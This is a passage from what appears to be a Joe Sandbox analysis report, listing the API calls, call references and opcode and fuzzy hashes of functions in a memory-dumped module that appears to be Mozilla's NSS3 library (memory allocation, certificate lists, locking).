Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CE6ED02

Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CE6ED5A

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: d576edfba4a758859f4282f7a46c0c9fa2e397bced78ae555f6a118c6a8bd4a9
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 2E2180B1950B429BE7008F26DD44B52B7B4BFA524CF25C219A81C87BA2E770E594C6D1

Function 6CE9EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CE87FFA,?,6CE89767,?,8B7874C0,0000A48E), ref: 6CE9EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CE87FFA,?,6CE89767,?,8B7874C0,0000A48E), ref: 6CE9EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CE87FFA,?,6CE89767,?,8B7874C0,0000A48E), ref: 6CE9EE14

Part of subcall function 6CE70BE0: malloc.MOZGLUE(6CE68D2D,?,00000000,?), ref: 6CE70BF8
Part of subcall function 6CE70BE0: TlsGetValue.KERNEL32(6CE68D2D,?,00000000,?), ref: 6CE70C15

memcpy.VCRUNTIME140(?,?,6CE89767,00000000,00000000,6CE87FFA,?,6CE89767,?,8B7874C0,0000A48E), ref: 6CE9EE33

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: eb01cadc7e48d1aaca038a9f81e64b6e3af7926d559133952efbca40a80c9c1e
Instruction ID: ee249f944d83506ded53d3f132df69f1ccfab3d91f96174f5ed563adcd567a9d
Opcode Fuzzy Hash: eb01cadc7e48d1aaca038a9f81e64b6e3af7926d559133952efbca40a80c9c1e
Instruction Fuzzy Hash: 601170B1A04B06ABEB109E65DC84B56B3B8FB0435DF344535EA19D7B41E331E864C7E2

Function 6CE1DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CE306A0: TlsGetValue.KERNEL32 ref: 6CE306C2
Part of subcall function 6CE306A0: EnterCriticalSection.KERNEL32(?), ref: 6CE306D6
Part of subcall function 6CE306A0: PR_Unlock.NSS3 ref: 6CE306EB

CERT_NewCertList.NSS3 ref: 6CE1DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CE1DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE1DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE1E029

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 7c942f5410cdfcf37d9f9e18aa59fabac9391f4ad770322a4782bfc8042d6447
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 20114871B0CA06AFDB114EA85C48BAB76B8AB8135CF240538F818D7F00E732D93592E1

Function 6CE38DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE38DE7
EnterCriticalSection.KERNEL32 ref: 6CE38DFC
PR_Unlock.NSS3 ref: 6CE38E2D
PR_SetError.NSS3 ref: 6CE38E49

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: e52d984baff774f9a387698a16481b77ef4f3b1ca139fab1a287e97ee1af9fd4
Instruction ID: b75bf6a97c32497fe178de3e92fe5a857e018ceab6002cfbf971e8e297368f37
Opcode Fuzzy Hash: e52d984baff774f9a387698a16481b77ef4f3b1ca139fab1a287e97ee1af9fd4
Instruction Fuzzy Hash: 4A118F71A05A109BD740BF78D548269BBF4FF05318F11596ADC89D7700E734E854CBD1

Function 6CEBAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CEA5F17,?,?,?,?,?,?,?,?,6CEAAAD4), ref: 6CEBAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CEA5F17,?,?,?,?,?,?,?,?,6CEAAAD4), ref: 6CEBACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CEAAAD4), ref: 6CEBACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CEAAAD4), ref: 6CEBACDB

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 951fb9795887ed6fbbbd2ced17d2ebf46148d4f427ee0b43d5e7e1b57b78985e
Instruction ID: 1778203465812472f9f79d6ceef0773719cd90a3a2f99ff61c91e62bbda4eae5
Opcode Fuzzy Hash: 951fb9795887ed6fbbbd2ced17d2ebf46148d4f427ee0b43d5e7e1b57b78985e
Instruction Fuzzy Hash: D10129B1A11B019BEB50DF2ADA08767B7F8BB00659B244839D89AD3B00E731F054CB91

Function 6CE21DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CE21DFB

Part of subcall function 6CE195B0: TlsGetValue.KERNEL32(00000000,?,6CE300D2,00000000), ref: 6CE195D2
Part of subcall function 6CE195B0: EnterCriticalSection.KERNEL32(?,?,?,6CE300D2,00000000), ref: 6CE195E7
Part of subcall function 6CE195B0: PR_Unlock.NSS3(?,?,?,?,6CE300D2,00000000), ref: 6CE19605

PR_EnterMonitor.NSS3 ref: 6CE21E09

Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90AB
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90C9
Part of subcall function 6CED9090: EnterCriticalSection.KERNEL32 ref: 6CED90E5
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED9116
Part of subcall function 6CED9090: LeaveCriticalSection.KERNEL32 ref: 6CED913F

Part of subcall function 6CE1E190: PR_EnterMonitor.NSS3(?,?,6CE1E175), ref: 6CE1E19C
Part of subcall function 6CE1E190: PR_EnterMonitor.NSS3(6CE1E175), ref: 6CE1E1AA
Part of subcall function 6CE1E190: PR_ExitMonitor.NSS3 ref: 6CE1E208
Part of subcall function 6CE1E190: PL_HashTableRemove.NSS3(?), ref: 6CE1E219
Part of subcall function 6CE1E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE1E231
Part of subcall function 6CE1E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE1E249
Part of subcall function 6CE1E190: PR_ExitMonitor.NSS3 ref: 6CE1E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE21E37
PR_ExitMonitor.NSS3 ref: 6CE21E4A

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: e40d59dbf39f999cd3bcd0e27371cd02b327b96c6f91eafb877d344e26668f69
Instruction ID: 8f91e5c117ddae384d584b660ac3cf796100dbdae07b86c9d7ee52bdc6f117a6
Opcode Fuzzy Hash: e40d59dbf39f999cd3bcd0e27371cd02b327b96c6f91eafb877d344e26668f69
Instruction Fuzzy Hash: A301DF71B10160A7EB004BA9EC00F5277B4AB42B4CF300034E81997B91E777ED25CBE2

Function 6CE21D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE21D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE21D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CE21D9C
free.MOZGLUE(00000000), ref: 6CE21DB8

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 178438f1a8dd0cf1abae5ea105ba70e3733635245c76444c613ad220654b7fe0
Instruction ID: 596e7084bb9630d556c0ce0182db1703eb1901d385e1cfc41a0c569c7cb0f03f
Opcode Fuzzy Hash: 178438f1a8dd0cf1abae5ea105ba70e3733635245c76444c613ad220654b7fe0
Instruction Fuzzy Hash: B6F049B2A01344D7FF201E996C42B477278ABC179DF310239DE1D87B00D632EE0182E1

Function 6CE6FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE19003,?), ref: 6CE6FD91

Part of subcall function 6CE70BE0: malloc.MOZGLUE(6CE68D2D,?,00000000,?), ref: 6CE70BF8
Part of subcall function 6CE70BE0: TlsGetValue.KERNEL32(6CE68D2D,?,00000000,?), ref: 6CE70C15

PORT_Alloc_Util.NSS3(A4686CE7,?), ref: 6CE6FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CE7,?,?), ref: 6CE6FDC4
free.MOZGLUE(00000000,?,?), ref: 6CE6FDD1

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: f4e1acc774afa6ae0a252c86653a2fdc97e364d31cdf14728e5eaef43b52957c
Instruction ID: 1db76454f0fb0576dcd35cd1b9d65853a05e38b00c2d9d712e98e6a15d656284
Opcode Fuzzy Hash: f4e1acc774afa6ae0a252c86653a2fdc97e364d31cdf14728e5eaef43b52957c
Instruction Fuzzy Hash: 76F0C2B2A51202ABEB004B56DC90B27B778EF8529DB248134ED19CAF02E721E815C7E1

Function 6CF2CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CF2CC61
free.MOZGLUE ref: 6CF2CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CF2CC80
free.MOZGLUE(?), ref: 6CF2CC87

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 8d7636414a1db94798727ac6f339c65829e8264ee9e046055f6861a989d3533d
Instruction ID: 28777c18092af81c7c0a9213773288b1db0d15bd9872e7829fd50f0e1f725c86
Opcode Fuzzy Hash: 8d7636414a1db94798727ac6f339c65829e8264ee9e046055f6861a989d3533d
Instruction Fuzzy Hash: A3E065767016089FCE10EFA9DC44C9777BCEE492703150525E691C3700D231F905CBE1

Function 6CE09DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CE09E1F

Part of subcall function 6CDC13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CD92352,?,00000000,?,?), ref: 6CDC1413
Part of subcall function 6CDC13C0: memcpy.VCRUNTIME140(00000000,6CD92352,00000002,?,?,?,?,6CD92352,?,00000000,?,?), ref: 6CDC14C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6CE0A006
ESCAPE expression must be a single character, xrefs: 6CE09F78

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 6369da6de4cb92ec28d2db7b55cc43f16fafae0708809178a9fd483cd8783fda
Instruction ID: 4edfcedb6380b039a4e4823dcf96769a5c138f925dca42e3f622da5f0eecaebe
Opcode Fuzzy Hash: 6369da6de4cb92ec28d2db7b55cc43f16fafae0708809178a9fd483cd8783fda
Instruction Fuzzy Hash: 4F81E371B042554BD700CF29C0813AAB7F2AF8631CF388659D8A98BB91D736D897C7D1

Function 6CE64D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE64D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CE64DE6

Strings

%d.%d, xrefs: 6CE64DDE

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 1cdcc0a6db1463401d66c768be4fe3e688bc5f40edcd7173f47ae7a83a1c598a
Instruction ID: c456836f99ce1fd36a9f5467809c2011842eb440576448752e1b0426c64ace03
Opcode Fuzzy Hash: 1cdcc0a6db1463401d66c768be4fe3e688bc5f40edcd7173f47ae7a83a1c598a
Instruction Fuzzy Hash: AA310AB2D502186BEB109BA2DC11BFF7B78EF41308F15042DED159BB82EB349905CBA1

Function 6CE84CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8l,00000000,00000000,?,?,6CE83827,?,00000000), ref: 6CE84D0A

Part of subcall function 6CE70840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE708B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6CE84D22

Part of subcall function 6CE6FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE11A3E,00000048,00000054), ref: 6CE6FD56

Strings

'8l, xrefs: 6CE84D07

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8l
API String ID: 1521942269-1867215535
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: ea9e653f4c15b7a26510e4bc0f4a30a701411fdf65783d1e132252bdb495aab0
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 90F0623260222867EB104D6AAD90B4336FCDB426BDF350272ED2CCB7C1E631DC01C6A2

Function 6CEAAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CEAAF78

Part of subcall function 6CE0ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE0ACE2
Part of subcall function 6CE0ACC0: malloc.MOZGLUE(00000001), ref: 6CE0ACEC
Part of subcall function 6CE0ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE0AD02
Part of subcall function 6CE0ACC0: TlsGetValue.KERNEL32 ref: 6CE0AD3C
Part of subcall function 6CE0ACC0: calloc.MOZGLUE(00000001,?), ref: 6CE0AD8C
Part of subcall function 6CE0ACC0: PR_Unlock.NSS3 ref: 6CE0ADC0
Part of subcall function 6CE0ACC0: PR_Unlock.NSS3 ref: 6CE0AE8C
Part of subcall function 6CE0ACC0: free.MOZGLUE(?), ref: 6CE0AEAB

memcpy.VCRUNTIME140(6CF73084,6CF702AC,00000090), ref: 6CEAAF94

Strings

SSL, xrefs: 6CEAAF73

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: e10644b0ee4c0bf80dd7d3426bc3c9417bbd11d84eb05a82f14420dad26e676a
Instruction ID: 024edd3d001e57cf4f2e7d18c82aab69165412bf802f2155a94657fa680e5933
Opcode Fuzzy Hash: e10644b0ee4c0bf80dd7d3426bc3c9417bbd11d84eb05a82f14420dad26e676a
Instruction Fuzzy Hash: 1D2140B2F25AA8BECA82DF91B84B7567E70B70260C7215019C1494FB24E332445E9FF6

Function 6CE00F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CE00936,FFFFE8AE,?,6CD916B7,00000000,?,6CE00936,00000000,?,6CD9204A), ref: 6CE00F1B

Part of subcall function 6CE01370: GetSystemInfo.KERNEL32(?,?,?,?,6CE00936,?,6CE00F20,6CE00936,FFFFE8AE,?,6CD916B7,00000000,?,6CE00936,00000000), ref: 6CE0138F

PR_NewLogModule.NSS3(clock,6CE00936,FFFFE8AE,?,6CD916B7,00000000,?,6CE00936,00000000,?,6CD9204A), ref: 6CE00F25

Part of subcall function 6CE01110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CE00936,00000001,00000040), ref: 6CE01130
Part of subcall function 6CE01110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE00936,00000001,00000040), ref: 6CE01142
Part of subcall function 6CE01110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE00936,00000001), ref: 6CE01167

Strings

clock, xrefs: 6CE00F20

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 974f77f77ba9151158661b9963217e9469acbccc4125580496445587b686d7ca
Instruction ID: e91b3bd7e047acb3ff231cd01eed8c3d3ecd6d203866f8ae7f9b0cd0213d2d44
Opcode Fuzzy Hash: 974f77f77ba9151158661b9963217e9469acbccc4125580496445587b686d7ca
Instruction Fuzzy Hash: 6AD02232B00254A1C11223D7AC48B96BABCC7C327DF20482AF00806E000A2A44FEC2F5

Function 6CE70DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

